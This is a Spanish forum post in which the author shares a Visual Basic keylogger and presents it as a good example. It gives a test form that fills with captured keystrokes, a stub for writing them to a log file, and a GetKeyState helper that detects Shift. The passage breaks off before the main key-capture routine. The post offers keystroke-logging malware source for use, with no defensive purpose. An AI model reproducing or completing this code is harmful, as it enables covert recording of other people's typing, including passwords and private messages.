Electronica

Hola
Este es un keylooger que hice hace un año o así. Funciona bien aunque es manifiestamente mejorable. Es un buen ejemplo.

Hay dos partes. Una es un pequeño programa de prueba (para ver loque el keylogger va detectando). Para ello le poneis los controles y el código indicado y luego os vais por ejemplo al notepad y os poneis a escribir. En el programa de prueba deberían ir quedandotodas las pulsaciones que vais haciendo.

La rutina fundamental es la función ObtenerTecla y unas pequeñas funciones para saber si es mayúscula o no , etc.

Existe otra técnica posible parahacer un keylogger. La que se llama un hook de teclado (o un gancho de teclado). Tiene algunas ventajas y algún inconveniente.-----------------------------------------------------------------------------------
Programa que prueba la rutina
En una aplicación visual basic añadir al formulario form1 el cuadro de texto text1 con las siguientes propiedades:
Código:
text1.multiline = truetext1.heigh= 1335
text1.width = 12975
Poner un objeto timer con las siguiente propiedad
Código:
timer1.interval=100
probar con distintos resultados para sacar consecuencias)

Poner uncommand con la siguiente propiedad
Código:
command1.caption="Limpiar"
Rutinas del programa de prueba
Código:
Private Sub Command1_Click()
Text1 = "" ' vaciar textbox
End Sub

Código:Private Sub Text1_Change()
If Len(Text1) > 500 Then
' Escribir txt.log
End If
End Sub

-----------------------------------------------------------------------------------
comienzo dekeylogger
------------------------------------------------------------------------------------
Función ShiftPulsado. Comprueba si se ha pulsado cualquiera de las dos teclas shift del teclado (esposible diferenciar cada una si se quiere)
Código:
Private Function ShiftPulsado() ' true si está pulsado shift
ShiftPulsado = IIf(GetKeyState(16) < 0, True, False) 'VK_SHIFT
End Function...